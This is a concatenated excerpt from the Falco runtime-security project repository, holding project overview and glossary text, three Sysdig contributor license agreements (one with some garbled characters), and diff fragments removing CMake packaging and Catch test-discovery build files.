Falco was contributed to the CNCF in October 2018.
The CNCF now owns The Falco Project.
### What is Runtime Security?
Runtime security refers to an approach to preventing unwanted activity on a computer system.
With runtime security, an operator deploys **both** prevention tooling (access control, policy enforcement, etc) along side detection tooling (systems observability, anomaly detection, etc).
Runtime security is the practice of using detection tooling to detect unwanted behavior, such that it can then be prevented using prevention techniques.
Runtime security is a holistic approach to defense, and useful in scenarios where prevention tooling either was unaware of an exploit or attack vector, or when defective applications are ran in even the most secure environment.
### What does Falco do?
Falco consumes signals from the Linux kernel, and container management tools such as Docker and Kubernetes.
Falco parses the signals and asserts them against security rules.
If a rule has been violated, Falco triggers an alert.
### How does Falco work?
Falco traces kernel events and reports information about the system calls being executed at runtime.
Falco leverages the extended berkeley packet filter (eBPF) which is a kernel feature implemented for dynamic crash-resilient and secure code execution in the kernel.
Falco enriches these kernel events with information about containers running on the system.
Falco also can consume signals from other input streams such as the containerd socket, the Kubernetes API server and the Kubernetes audit log.
At runtime, Falco will reason about these events and assert them against configured security rules.
Based on the severity of a violation an alert is triggered.
These alerts are configurable and extensible, for instance sending a notification or [plumbing through to other projects like Prometheus](https://github.com/falcosecurity/falco-exporter).
### Benefits of using Falco
- **Strengthen Security** Create security rules driven by a context-rich and flexible engine to define unexpected application behavior.
- **Reduce Risk** Immediately respond to policy violation alerts by plugging Falco into your current security response workflows and processes.
- **Leverage up-to-date Rules** Alert using community-sourced detections of malicious activity and CVE exploits.
### Falco and securing Kubernetes
Securing Kubernetes requires putting controls in place to detect unexpected behavior that could be malicious or harmful to a cluster or application(s).
Examples of malicious behavior include:
- Exploits of unpatched and new vulnerabilities in applications or Kubernetes itself.
- Insecure configurations in applications or Kubernetes itself.
- Leaked or weak credentials or secret material.
- Insider threats from adjacent applications running at the same layer.
Falco is capable of [consuming the Kubernetes audit logs](https://kubernetes.io/docs/tasks/debug-application-cluster/falco/#use-falco-to-collect-audit-events).
By adding Kubernetes application context, and Kubernetes audit logs teams can understand who did what.
### Writing about Falco
##### Yes
Notice the capitalization of the following terms.
- The Falco Project
- Falco
##### No
- falco
- the falco project
- the Falco project
### Encouraged Phrasing
Below are phrases that the project has reviewed, and found to be effective ways of messaging Falco's value add.
Even when processes are in place for vulnerability scanning and implementing pod security and network policies, not every risk will be addressed. You still need mechanisms to confirm these security barriers are effective, help configure them, and provide with a last line of defense when they fail.
##### Falco as a factory
This term refers to the concept that Falco is a stateless processing engine. A large amount of data comes into the engine, but meticulously crafted security alerts come out.
##### The engine that powers...
Falco ultimately is a security engine. It reasons about signals coming from a system at runtime, and can alert if an anomaly is detected.
##### Anomaly detection
This refers to an event that occurs with something unusual, concerning, or odd occurs.
We can associate anomalies with unwanted behavior, and alert in their presence.
##### Detection tooling
Falco does not prevent unwanted behavior.
Falco however alerts when unusual behavior occurs.
This is commonly referred to as **detection** or **forensics**.
---
# Glossary
#### Probe
Used to describe the `.o` object that would be dynamically loaded into the kernel as a secure and stable (e)BPF probe.
This is one option used to pass kernel events up to userspace for Falco to consume.
Sometimes this word is incorrectly used to refer to a `module`.
#### Module
Used to describe the `.ko` object that would be loaded into the kernel as a potentially risky kernel module.
This is one option used to pass kernel events up to userspace for Falco to consume.
Sometimes this word is incorrectly used to refer to a `probe`.
#### Driver
The global term for the software that sends events from the kernel. Such as the eBPF `probe` or the `kernel module`.
#### Plugin
Used to describe a dynamic shared library (`.so` files in Unix, `.dll` files in Windows) that conforms to a documented API and allows to extend Falco's capabilities.
#### Falco
The name of the project, and also the name of [the main engine](https://github.com/falcosecurity/falco) that the rest of the project is built on.
#### Sysdig, Inc
The name of the company that originally created The Falco Project, and later donated to the CNCF.
#### sysdig
A [CLI tool](https://github.com/draios/sysdig) used to evaluate kernel system events at runtime.

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DRAIOS, INC. OPEN SOURCE CONTRIBUTION LICENSE AGREEMENT (“Agreement”)
Draios, Inc. dba Sysdig (“Draios” or “Sysdig”) welcomes you to work on our open source software projects. In order to clarify the intellectual property license granted with Contributions from any person or entity, you must agree to the license terms below in order to contribute code back to our repositories. This license is for your protection as a Contributor as well as the protection of Sysdig; it does not change your rights to use your own Contributions for any other purpose. To indicate your Agreement, follow the procedure set forth below under TO AGREE, after reading this Agreement.
You accept and agree to the following terms and conditions for Your present and future Contributions submitted to Draios/Sysdig. Except for the license granted herein to Draios/Sysdig and recipients of software distributed by Draios/Sysdig, You reserve all right, title, and interest in and to Your Contributions.
1. Definitions. "You" (or "Your") shall mean the individual natural person and copyright owner who is making this Agreement with Draios/Sysdig. “You” excludes legal entities such as corporations, and Draios/Sysdig provides a separate CLA for corporations or other entities. "Contribution" shall mean any original work of authorship, including any modifications or additions to an existing work, that is intentionally submitted by You to Draios/Sysdig for inclusion in, or documentation of, any of the products owned or managed by Draios/Sysdig (the "Work"). For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to Draios/Sysdig or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, Draios/Sysdig for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by You as "Not a Contribution."
2. Grant of Copyright License. Subject to the terms and conditions of this Agreement, You hereby grant to Draios/Sysdig and to recipients of software distributed by Draios/Sysdig a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Your Contributions and such derivative works.
3. Grant of Patent License. Subject to the terms and conditions of this Agreement, You hereby grant to Draios/Sysdig and to recipients of software distributed by Draios/Sysdig a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims that You have the right to license and that are necessarily infringed by Your Contribution(s) alone or by combination of Your Contribution(s) with the Work to which such Contribution(s) was submitted. If any entity other than Draios/Sysdig institutes patent litigation against You or any other entity (including a cross-claim or counterclaim in a lawsuit) alleging that your Contribution, or the Work to which you have contributed, constitutes direct or contributory patent infringement, then any patent licenses granted to that entity under this Agreement for that Contribution or Work shall terminate as of the date such litigation is filed.
4. You represent to Draios/Sysdig that You are legally entitled to grant the licenses set forth above.
5. You represent that each of Your Contributions is Your original creation unless you act according to section 7 below. You represent that Your Contribution submissions include complete details of any third-party license or other restriction (including, but not limited to, related patents and trademarks) of which You are personally aware and which are associated with any part of Your Contributions. You represent that Your sign-off indicating assent to this Agreement includes your real name and not a pseudonym, and that you shall not attempt or make an anonymous Contribution.
6. You are not expected to provide support for Your Contributions, except to the extent You desire to provide support. You may provide support for free, for a fee, or not at all. Unless required by applicable law or agreed to in writing, You provide Your Contributions to Draios/Sysdig on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON- INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE.
7. If You wish to submit work that is not Your original creation, You may submit it to Draios/Sysdig separately from any Contribution, identifying the complete details of its source and of any license or other restriction (including, but not limited to, related patents, trademarks, and license agreements) of which you are personally aware, and conspicuously marking the work as "Submitted on behalf of a third-party: [named here]".
8. You agree to notify Draios/Sysdig of any facts or circumstances of which you become aware that would make these representations inaccurate in any respect.
9. You understand and agree that this project and Your Contribution are public and that a record of the contribution, including all personal information that I submit with it, including my sign-off, may be stored by Draios/Sysdig indefinitely and may be redistributed to others. You understand and agree that Draios/Sysdig has no obligation to use any Contribution in any Draios/Sysdig project or product, and Draios/Sysdig may decline to accept Your Contributions or Draios/Sysdig may remove Your Contributions from Draios/Sysdig projects or products at any time without notice. You understand and agree that Draios/Sysdig is not and will not pay you any form of compensation, in currency, equity or otherwise, in exchange for Your Contributions or for Your assent to this Agreement. You understand and agree that you are independent of Draios/Sysdig and you are not, by entering into this Agreement or providing Your Contributions, becoming employed, hired as an independent contractor, or forming any other relationship with Draios/Sysdig relating to employment, compensation or ownership or involving any fiduciary obligation.
TO AGREE:
Add the following line to every GIT commit message:
falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
Use your real name; pseudonyms or anonymous contributions are not allowed.

View File

@@ -0,0 +1,33 @@
DRAIOS, INC. OPEN SOURCE CONTRIBUTION LICENSE AGREEMENT FOR CONTRIBUTING ENTITIES (SUCH AS CORPORATIONS) (“Agreement”)
Draios, Inc. dba Sysdig (“Draios” or “Sysdig”) welcomes you to work on our open source software projects. In order to clarify the intellectual property license granted with Contributions from any person or entity, you must agree to the license terms below in order to contribute code back to our repositories. This license is for your protection as a Contributor as well as the protection of Sysdig; it does not change your rights to use your own Contributions for any other purpose. To indicate your Agreement, follow the procedure set forth below under TO AGREE, after reading this Agreement.
A “contributing entity” means a corporation, limited liability company, partnership, or other entity that is organized and recognized under the laws of a state of the United States or another country (a “contributing entity”). We provide a separate CLA for individual contributors.
You accept and agree to the following terms and conditions for Your present and future Contributions that are submitted to Draios/Sysdig. Except for the license granted herein to Draios/Sysdig and recipients of software distributed by Draios/Sysdig, You reserve all right, title, and interest in and to Your Contributions.
1. Definitions. "You" (or "Your") shall mean the contributing entity that owns for copyright purposes or otherwise has the right to contribute the Contribution, and that is making this Agreement with Draios/Sysdig, and all other entities that control, are controlled by, or are under common control with the contributing entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "Contribution" shall mean any original work of authorship, including any modifications or additions to an existing work, that is intentionally submitted by You to Draios/Sysdig for inclusion in, or documentation of, any of the products owned or managed by Draios/Sysdig (the "Work"). For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to Draios/Sysdig or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, Draios/Sysdig for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by You as "Not a Contribution."
2. Grant of Copyright License. Subject to the terms and conditions of this Agreement, You hereby grant to Draios/Sysdig and to recipients of software distributed by Draios/Sysdig a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Your Contributions and such derivative works.
3. Grant of Patent License. Subject to the terms and conditions of this Agreement, You hereby grant to Draios/Sysdig and to recipients of software distributed by Draios/Sysdig a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims that You have the right to license and that are necessarily infringed by Your Contribution(s) alone or by combination of Your Contribution(s) with the Work to which such Contribution(s) was submitted. If any entity other than Draios/Sysdig institutes patent litigation against You or any other entity (including a cross-claim or counterclaim in a lawsuit) alleging that your Contribution, or the Work to which you have contributed, constitutes direct or contributory patent infringement, then any patent licenses granted to that entity under this Agreement for that Contribution or Work shall terminate as of the date such litigation is filed.
4. You represent to Draios/Sysdig that You own or have the right to contribute Your Contributions to Draios/Sysdig, and that You are legally entitled to grant the licenses set forth above.
5. You represent that each of Your Contributions is Your original creation (see section 7 for submissions on behalf of others). You represent that Your Contribution submissions include complete details of any third-party license or other restriction (including, but not limited to, related patents and trademarks) of which You are personally aware and which are associated with any part of Your Contributions. You represent that Your sign-off indicating assent to this Agreement includes the real name of a natural person who is an authorized representative of You, and not a pseudonym, and that You are not attempting or making an anonymous Contribution.
6. You are not expected to provide support for Your Contributions, except to the extent You desire to provide support. You may provide support for free, for a fee, or not at all. Unless required by applicable law or agreed to in writing, You provide Your Contributions to Draios/Sysdig on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON- INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE.
7. If You wish to submit work that is not Your original creation, You may submit it to Draios/Sysdig separately from any Contribution, identifying the complete details of its source and of any license or other restriction (including, but not limited to, related patents, trademarks, and license agreements) of which You are aware, and conspicuously marking the work as "Submitted on behalf of a third-party: [named here]".
8. You agree to notify Draios/Sysdig of any facts or circumstances of which you become aware that would make these representations inaccurate in any respect.
9. You understand and agree that this project and Your Contribution are public and that a record of the contribution, including all personal information that You submit with it, including the sign-off of Your authorized representative, may be stored by Draios/Sysdig indefinitely and may be redistributed to others. You understand and agree that Draios/Sysdig has no obligation to use any Contribution in any Draios/Sysdig project or product, and Draios/Sysdig may decline to accept Your Contributions or Draios/Sysdig may remove Your Contributions from Draios/Sysdig projects or products at any time without notice. You understand and agree that Draios/Sysdig is not and will not pay You any form of compensation, in currency, equity or otherwise, in exchange for Your Contributions or for Your assent to this Agreement. You understand and agree that You are independent of Draios/Sysdig and You are not, by entering into this Agreement or providing Your Contributions, becoming employed, hired as an independent contractor, or forming any other relationship with Draios/Sysdig relating to employment, compensation or ownership or involving any fiduciary obligation.
TO AGREE:
Add the following lines to every GIT commit message:
falco-CLA-1.0-contributing-entity: Full Legal Name of Entity
falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
Use a real name of a natural person who is an authorized representative of the contributing entity; pseudonyms or anonymous contributions are not allowed.

View File

@@ -0,0 +1,33 @@
DRAIOS, INC. <20> OPEN SOURCE CONTRIBUTION AGREEMENT FOR UNITED STATES GOVERNMENT CONTRIBUTING ENTITIES (<28>Agreement<6E>)
Draios, Inc. (<28>Draios<6F> or <20>Sysdig<69>) welcomes the work of others on our open source software projects. To contribute code back to our repositories, we require a contributing entity that is a United States Government agency to complete, and agree to, the Government Contributor Agreement (GCA) set forth here, by and through a designated authorized representative. This agreement clarifies the ability for us to use and incorporate the contributions of a government contributing entity in our projects and products. After agreeing to these terms, a contributing entity may contribute to our projects. To indicate the agreement of the contributing entity, an authorized representative shall follow the procedure set forth below under TO AGREE, after reading this Agreement. A <20>contributing entity<74> means any agency or unit of the United States government. We provide a separate CLA for individual contributors.
You accept and agree to the following terms and conditions for Your present and future Contributions that are submitted to Draios/Sysdig.
1. Definitions. "You" (or "Your") shall mean the contributing entity that has authored or otherwise has the right to contribute the Contribution, and that is making this Agreement with Draios/Sysdig. "Contribution" shall mean any original work of authorship, including any modifications or additions to an existing work, that is intentionally submitted by You to Draios/Sysdig for inclusion in, or documentation of, any of the products owned or managed by Draios/Sysdig (the "Work"). For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to Draios/Sysdig or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, Draios/Sysdig for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by You as "Not a Contribution."
2. Contributions Not Subject to Copyright. Each Contribution is a work authored by the United States Government or an employee or officer thereof and is not subject to copyright under 17 U.S.C. 105.
3. Grant of Patent License. Subject to the terms and conditions of this Agreement, You hereby grant to Draios/Sysdig and to recipients of software distributed by Draios/Sysdig a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims that You have the right to license and that are necessarily infringed by Your Contribution(s) alone or by combination of Your Contribution(s) with the Work to which such Contribution(s) was submitted. If any entity other than Draios/Sysdig institutes patent litigation against You or any other entity (including a cross-claim or counterclaim in a lawsuit) alleging that your Contribution, or the Work to which you have contributed, constitutes direct or contributory patent infringement, then any patent licenses granted to that entity under this Agreement for that Contribution or Work shall terminate as of the date such litigation is filed.
4. You represent to Draios/Sysdig that You own or have the right to contribute Your Contributions to Draios/Sysdig, and that You are legally entitled to grant the license set forth above.
5. You represent that each of Your Contributions is Your original creation (see section 7 for submissions on behalf of others). You represent that Your Contribution submissions include complete details of any third-party license or other restriction (including, but not limited to, related patents and trademarks) of which You are personally aware and which are associated with any part of Your Contributions. You represent that Your sign-off indicating assent to this Agreement includes the real name of a natural person who is an authorized representative of You, and not a pseudonym, and that You are not attempting or making an anonymous Contribution.
6. You are not expected to provide support for Your Contributions, except to the extent You desire to provide support. You may provide support for free, for a fee, or not at all. Unless required by applicable law or agreed to in writing, You provide Your Contributions to Draios/Sysdig on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON- INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE.
7. If You wish to submit work that is not Your original creation, You may submit it to Draios/Sysdig separately from any Contribution, identifying the complete details of its source and of any license or other restriction (including, but not limited to, related patents, trademarks, and license agreements) of which You are aware, and conspicuously marking the work as "Submitted on behalf of a third-party: [named here]".
8. You agree to notify Draios/Sysdig of any facts or circumstances of which you become aware that would make these representations inaccurate in any respect.
9. You understand and agree that this project and Your Contribution are public and that a record of the contribution, including all personal information that You submit with it, including the sign-off of Your authorized representative, may be stored by Draios/Sysdig indefinitely and may be redistributed to others. You understand and agree that Draios/Sysdig has no obligation to use any Contribution in any Draios/Sysdig project or product, and Draios/Sysdig may decline to accept Your Contributions or Draios/Sysdig may remove Your Contributions from Draios/Sysdig projects or products at any time without notice. You understand and agree that Draios/Sysdig is not and will not pay You any form of compensation, in currency, equity or otherwise, in exchange for Your Contributions or for Your assent to this Agreement. You understand and agree that You are independent of Draios/Sysdig and You are not, by entering into this Agreement or providing Your Contributions, becoming employed, hired as an independent contractor, or forming any other relationship with Draios/Sysdig relating to employment, compensation or ownership or involving any fiduciary obligation.
TO AGREE:
Add the following lines to every GIT commit message:
falco-CLA-1.0-contributing-govt-entity: Full Legal Name of Entity
falco-CLA-1.0-signed-off-by: Joe Smith joe.smith@email.com
This file is a work of authorship of an employee or officer of the United States Government and is not subject to copyright in the United States under 17 USC 105.
Use a real name of a natural person who is an authorized representative of the contributing entity; pseudonyms or anonymous contributions are not allowed.

View File

@@ -1,15 +0,0 @@
if(CPACK_GENERATOR MATCHES "DEB")
list(APPEND CPACK_INSTALL_COMMANDS "mkdir -p _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/debian/falco.service _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/debian/falco_inject_kmod.service _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
endif()
if(CPACK_GENERATOR MATCHES "RPM")
list(APPEND CPACK_INSTALL_COMMANDS "mkdir -p _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/rpm/falco.service _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/rpm/falco_inject_kmod.service _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
endif()
if(CPACK_GENERATOR MATCHES "TGZ")
set(CPACK_SET_DESTDIR "ON")
endif()

View File

@@ -1,77 +0,0 @@
#
# Copyright (C) 2022 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
set(CPACK_PACKAGE_NAME "${PACKAGE_NAME}")
set(CPACK_PACKAGE_VENDOR "Cloud Native Computing Foundation (CNCF) cncf.io.")
set(CPACK_PACKAGE_CONTACT "cncf-falco-dev@lists.cncf.io") # todo: change this once we've got @falco.org addresses
set(CPACK_PACKAGE_DESCRIPTION_SUMMARY "Falco - Container Native Runtime Security")
set(CPACK_PACKAGE_DESCRIPTION_FILE "${PROJECT_SOURCE_DIR}/scripts/description.txt")
set(CPACK_PACKAGE_VERSION "${FALCO_VERSION}")
set(CPACK_PACKAGE_VERSION_MAJOR "${FALCO_VERSION_MAJOR}")
set(CPACK_PACKAGE_VERSION_MINOR "${FALCO_VERSION_MINOR}")
set(CPACK_PACKAGE_VERSION_PATCH "${FALCO_VERSION_PATCH}")
set(CPACK_PACKAGE_FILE_NAME "${CPACK_PACKAGE_NAME}-${CPACK_PACKAGE_VERSION}-${CMAKE_SYSTEM_PROCESSOR}")
set(CPACK_PROJECT_CONFIG_FILE "${PROJECT_SOURCE_DIR}/cmake/cpack/CMakeCPackOptions.cmake")
set(CPACK_STRIP_FILES "ON")
set(CPACK_PACKAGE_RELOCATABLE "OFF")
# Built packages will include only the following components
set(CPACK_INSTALL_CMAKE_PROJECTS
"${CMAKE_CURRENT_BINARY_DIR};${FALCO_COMPONENT_NAME};${FALCO_COMPONENT_NAME};/"
"${CMAKE_CURRENT_BINARY_DIR};${DRIVER_COMPONENT_NAME};${DRIVER_COMPONENT_NAME};/"
)
if(NOT MUSL_OPTIMIZED_BUILD) # static builds do not have plugins
list(APPEND CPACK_INSTALL_CMAKE_PROJECTS
"${CMAKE_CURRENT_BINARY_DIR};${PLUGINS_COMPONENT_NAME};${PLUGINS_COMPONENT_NAME};/"
)
endif()
if(NOT CPACK_GENERATOR)
set(CPACK_GENERATOR DEB RPM TGZ)
endif()
message(STATUS "Using package generators: ${CPACK_GENERATOR}")
message(STATUS "Package architecture: ${CMAKE_SYSTEM_PROCESSOR}")
set(CPACK_DEBIAN_PACKAGE_SECTION "utils")
if(${CMAKE_SYSTEM_PROCESSOR} STREQUAL "x86_64")
set(CPACK_DEBIAN_PACKAGE_ARCHITECTURE "amd64")
endif()
if(${CMAKE_SYSTEM_PROCESSOR} STREQUAL "aarch64")
set(CPACK_DEBIAN_PACKAGE_ARCHITECTURE "arm64")
endif()
set(CPACK_DEBIAN_PACKAGE_HOMEPAGE "https://www.falco.org")
set(CPACK_DEBIAN_PACKAGE_DEPENDS "dkms (>= 2.1.0.0)")
set(CPACK_DEBIAN_PACKAGE_CONTROL_EXTRA
"${CMAKE_BINARY_DIR}/scripts/debian/postinst;${CMAKE_BINARY_DIR}/scripts/debian/prerm;${CMAKE_BINARY_DIR}/scripts/debian/postrm;${PROJECT_SOURCE_DIR}/cmake/cpack/debian/conffiles"
)
set(CPACK_RPM_PACKAGE_LICENSE "Apache v2.0")
set(CPACK_RPM_PACKAGE_ARCHITECTURE, "amd64")
set(CPACK_RPM_PACKAGE_URL "https://www.falco.org")
set(CPACK_RPM_PACKAGE_REQUIRES "dkms, kernel-devel, systemd")
set(CPACK_RPM_POST_INSTALL_SCRIPT_FILE "${CMAKE_BINARY_DIR}/scripts/rpm/postinstall")
set(CPACK_RPM_PRE_UNINSTALL_SCRIPT_FILE "${CMAKE_BINARY_DIR}/scripts/rpm/preuninstall")
set(CPACK_RPM_POST_UNINSTALL_SCRIPT_FILE "${CMAKE_BINARY_DIR}/scripts/rpm/postuninstall")
set(CPACK_RPM_PACKAGE_VERSION "${FALCO_VERSION}")
set(CPACK_RPM_EXCLUDE_FROM_AUTO_FILELIST_ADDITION
/usr/src
/usr/share/man
/usr/share/man/man8
/etc
/usr
/usr/bin
/usr/share)
set(CPACK_RPM_PACKAGE_RELOCATABLE "OFF")
include(CPack)

View File

@@ -1,159 +0,0 @@
# Distributed under the OSI-approved BSD 3-Clause License. See accompanying file Copyright.txt or
# https://cmake.org/licensing for details.
#[=======================================================================[.rst:
Catch
-----
This module defines a function to help use the Catch test framework.
The :command:`catch_discover_tests` discovers tests by asking the compiled test
executable to enumerate its tests. This does not require CMake to be re-run
when tests change. However, it may not work in a cross-compiling environment,
and setting test properties is less convenient.
This command is intended to replace use of :command:`add_test` to register
tests, and will create a separate CTest test for each Catch test case. Note
that this is in some cases less efficient, as common set-up and tear-down logic
cannot be shared by multiple test cases executing in the same instance.
However, it provides more fine-grained pass/fail information to CTest, which is
usually considered as more beneficial. By default, the CTest test name is the
same as the Catch name; see also ``TEST_PREFIX`` and ``TEST_SUFFIX``.
.. command:: catch_discover_tests
Automatically add tests with CTest by querying the compiled test executable
for available tests::
catch_discover_tests(target
[TEST_SPEC arg1...]
[EXTRA_ARGS arg1...]
[WORKING_DIRECTORY dir]
[TEST_PREFIX prefix]
[TEST_SUFFIX suffix]
[PROPERTIES name1 value1...]
[TEST_LIST var]
)
``catch_discover_tests`` sets up a post-build command on the test executable
that generates the list of tests by parsing the output from running the test
with the ``--list-test-names-only`` argument. This ensures that the full
list of tests is obtained. Since test discovery occurs at build time, it is
not necessary to re-run CMake when the list of tests changes.
However, it requires that :prop_tgt:`CROSSCOMPILING_EMULATOR` is properly set
in order to function in a cross-compiling environment.
Additionally, setting properties on tests is somewhat less convenient, since
the tests are not available at CMake time. Additional test properties may be
assigned to the set of tests as a whole using the ``PROPERTIES`` option. If
more fine-grained test control is needed, custom content may be provided
through an external CTest script using the :prop_dir:`TEST_INCLUDE_FILES`
directory property. The set of discovered tests is made accessible to such a
script via the ``<target>_TESTS`` variable.
The options are:
``target``
Specifies the Catch executable, which must be a known CMake executable
target. CMake will substitute the location of the built executable when
running the test.
``TEST_SPEC arg1...``
Specifies test cases, wildcarded test cases, tags and tag expressions to
pass to the Catch executable with the ``--list-test-names-only`` argument.
``EXTRA_ARGS arg1...``
Any extra arguments to pass on the command line to each test case.
``WORKING_DIRECTORY dir``
Specifies the directory in which to run the discovered test cases. If this
option is not provided, the current binary directory is used.
``TEST_PREFIX prefix``
Specifies a ``prefix`` to be prepended to the name of each discovered test
case. This can be useful when the same test executable is being used in
multiple calls to ``catch_discover_tests()`` but with different
``TEST_SPEC`` or ``EXTRA_ARGS``.
``TEST_SUFFIX suffix``
Similar to ``TEST_PREFIX`` except the ``suffix`` is appended to the name of
every discovered test case. Both ``TEST_PREFIX`` and ``TEST_SUFFIX`` may
be specified.
``PROPERTIES name1 value1...``
Specifies additional properties to be set on all tests discovered by this
invocation of ``catch_discover_tests``.
``TEST_LIST var``
Make the list of tests available in the variable ``var``, rather than the
default ``<target>_TESTS``. This can be useful when the same test
executable is being used in multiple calls to ``catch_discover_tests()``.
Note that this variable is only available in CTest.
#]=======================================================================]
# ------------------------------------------------------------------------------
function(catch_discover_tests TARGET)
cmake_parse_arguments("" "" "TEST_PREFIX;TEST_SUFFIX;WORKING_DIRECTORY;TEST_LIST" "TEST_SPEC;EXTRA_ARGS;PROPERTIES"
${ARGN})
if(NOT _WORKING_DIRECTORY)
set(_WORKING_DIRECTORY "${CMAKE_CURRENT_BINARY_DIR}")
endif()
if(NOT _TEST_LIST)
set(_TEST_LIST ${TARGET}_TESTS)
endif()
# Generate a unique name based on the extra arguments
string(SHA1 args_hash "${_TEST_SPEC} ${_EXTRA_ARGS}")
string(SUBSTRING ${args_hash} 0 7 args_hash)
# Define rule to generate test list for aforementioned test executable
set(ctest_include_file "${CMAKE_CURRENT_BINARY_DIR}/${TARGET}_include-${args_hash}.cmake")
set(ctest_tests_file "${CMAKE_CURRENT_BINARY_DIR}/${TARGET}_tests-${args_hash}.cmake")
get_property(
crosscompiling_emulator
TARGET ${TARGET}
PROPERTY CROSSCOMPILING_EMULATOR)
add_custom_command(
TARGET ${TARGET}
POST_BUILD
BYPRODUCTS "${ctest_tests_file}"
COMMAND
"${CMAKE_COMMAND}" -D "TEST_TARGET=${TARGET}" -D "TEST_EXECUTABLE=$<TARGET_FILE:${TARGET}>" -D
"TEST_EXECUTOR=${crosscompiling_emulator}" -D "TEST_WORKING_DIR=${_WORKING_DIRECTORY}" -D
"TEST_SPEC=${_TEST_SPEC}" -D "TEST_EXTRA_ARGS=${_EXTRA_ARGS}" -D "TEST_PROPERTIES=${_PROPERTIES}" -D
"TEST_PREFIX=${_TEST_PREFIX}" -D "TEST_SUFFIX=${_TEST_SUFFIX}" -D "TEST_LIST=${_TEST_LIST}" -D
"CTEST_FILE=${ctest_tests_file}" -P "${_CATCH_DISCOVER_TESTS_SCRIPT}"
VERBATIM)
file(
WRITE "${ctest_include_file}"
"if(EXISTS \"${ctest_tests_file}\")\n" " include(\"${ctest_tests_file}\")\n" "else()\n"
" add_test(${TARGET}_NOT_BUILT-${args_hash} ${TARGET}_NOT_BUILT-${args_hash})\n" "endif()\n")
if(NOT ${CMAKE_VERSION} VERSION_LESS "3.10.0")
# Add discovered tests to directory TEST_INCLUDE_FILES
set_property(
DIRECTORY
APPEND
PROPERTY TEST_INCLUDE_FILES "${ctest_include_file}")
else()
# Add discovered tests as directory TEST_INCLUDE_FILE if possible
get_property(
test_include_file_set
DIRECTORY
PROPERTY TEST_INCLUDE_FILE
SET)
if(NOT ${test_include_file_set})
set_property(DIRECTORY PROPERTY TEST_INCLUDE_FILE "${ctest_include_file}")
else()
message(FATAL_ERROR "Cannot set more than one TEST_INCLUDE_FILE")
endif()
endif()
endfunction()
# ######################################################################################################################
set(_CATCH_DISCOVER_TESTS_SCRIPT ${CMAKE_CURRENT_LIST_DIR}/CatchAddTests.cmake)

View File

@@ -1,61 +0,0 @@
# Distributed under the OSI-approved BSD 3-Clause License. See accompanying file Copyright.txt or
# https://cmake.org/licensing for details.
set(prefix "${TEST_PREFIX}")
set(suffix "${TEST_SUFFIX}")
set(spec ${TEST_SPEC})
set(extra_args ${TEST_EXTRA_ARGS})
set(properties ${TEST_PROPERTIES})
set(script)
set(suite)
set(tests)
